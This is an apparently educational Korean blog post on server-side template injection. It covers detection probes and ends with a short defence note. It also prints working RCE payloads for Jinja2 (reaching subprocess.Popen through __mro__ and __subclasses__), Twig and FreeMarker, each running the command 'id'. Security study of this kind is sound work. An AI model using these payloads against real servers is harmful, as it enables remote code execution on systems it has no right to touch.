Skip to main content

SSTI: 서버사이드 템플릿 인젝션 완전 분석

SSTI(Server-Side Template Injection)는 템플릿 엔진이 사용자 입력을 코드로 해석할 때 발생하는 취약점이다. XSS처럼 보이지만 실제론 서버에서 실행되어 RCE까지 이어질 수 있다.

동작 원리

{{7*7}}을 입력했을 때 49가 출력된다면? 템플릿 엔진이 그대로 연산한 것 — SSTI 확정이다.

각 엔진마다 문법이 다르다:

  • Jinja2 (Python): {{config}}로 설정 정보 노출
  • Twig (PHP): {{_self.env.getFilter("exec")("id")}}
  • FreeMarker (Java): ${"freemarker.template.utility.Execute"?new()("id")}

Jinja2 RCE 페이로드

{{ ''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate() }}

__mro__로 클래스 체인을 타고 올라가 subprocess.Popen을 호출하는 방식이다.

탐지 방법

퍼징 페이로드로 엔진을 식별한다:

  • ${7*7} → FreeMarker, Velocity
  • {{7*7}} → Jinja2, Twig
  • <%= 7*7 %> → ERB

방어

사용자 입력을 절대 템플릿 문자열에 직접 삽입하지 말 것. 렌더링은 항상 render_template_string(template, **context) 방식으로 변수를 별도 전달해야 한다.

CTF에서 SSTI 문제 보이면 일단 {{7*7}} 넣어보자. 숫자 나오는 순간 이미 절반 풀린 거다. 🔥